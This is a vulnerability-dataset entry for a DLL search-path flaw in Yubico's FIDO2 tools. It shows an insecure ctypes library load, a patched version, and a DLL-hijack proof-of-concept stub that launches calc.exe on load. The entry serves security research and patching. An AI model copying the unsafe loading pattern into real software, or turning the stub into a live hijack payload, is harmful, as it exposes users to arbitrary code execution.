CVE-2026-40947
Unintended DLL search path in Yubico tools allows code execution.
- CVSS 2.9
- CWE-426
- Configuration Issues
- Local
Yubico libfido2 before 1.17.0, python-fido2 before 2.2.0, and yubikey-manager before 5.9.1 have an unintended DLL search path.
- CWE
- CWE-426
- CVSS base score
- 2.9
- Published
- 2026-04-16
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Building Issues
- Category
- Configuration Issues
- Subcategory
- Dynamic Link Library (DLL) Loading Issues
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- libfido2, py
- Fixed by upgrading
- Yes
Solution
Upgrade the following components to the specified versions or later: * libfido2 to 1.17.0 * python-fido2 to 2.2.0 * yubikey-manager to 5.9.1
Vulnerable code sample
import ctypes
# On Windows, this call loads the "fido2.dll" library.
# The vulnerability lies in the fact that it does not specify a full path.
# The operating system will search for "fido2.dll" in a series of locations,
# including the current working directory. If an attacker places a malicious
# "fido2.dll" in the same directory as the Python script, this line will
# load and execute the malicious library instead of the legitimate one.
ctypes.cdll.LoadLibrary("fido2")Patched code sample
import ctypes
import os
import sys
_lib_name = "fido2.dll"
if sys.platform == "win32" and sys.version_info >= (3, 8):
# Determine the path to the directory containing the bundled DLL.
# In a real package, this path would point to where the DLL is installed.
# For this example, we assume it's in a '_lib' subdirectory.
dll_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_lib")
# If the directory exists, add it to the DLL search path.
# This ensures that Windows will look in this trusted location and not
# in potentially unsafe locations like the current working directory.
if os.path.isdir(dll_dir):
try:
os.add_dll_directory(dll_dir)
except (FileNotFoundError, AttributeError):
# Fallback for edge cases or if the function is unavailable.
pass
# The vulnerable approach would have just called LoadLibrary directly,
# without the preceding steps to configure a safe search path on Windows.
try:
# This will now use the secure search path on supported systems.
lib_fido2 = ctypes.cdll.LoadLibrary(_lib_name)
except OSError:
lib_fido2 = NonePayload
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
WinExec("calc.exe", SW_SHOWNORMAL);
}
return TRUE;
}
Cite this entry
@misc{vaitp:cve202640947,
title = {{Unintended DLL search path in Yubico tools allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40947},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40947/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
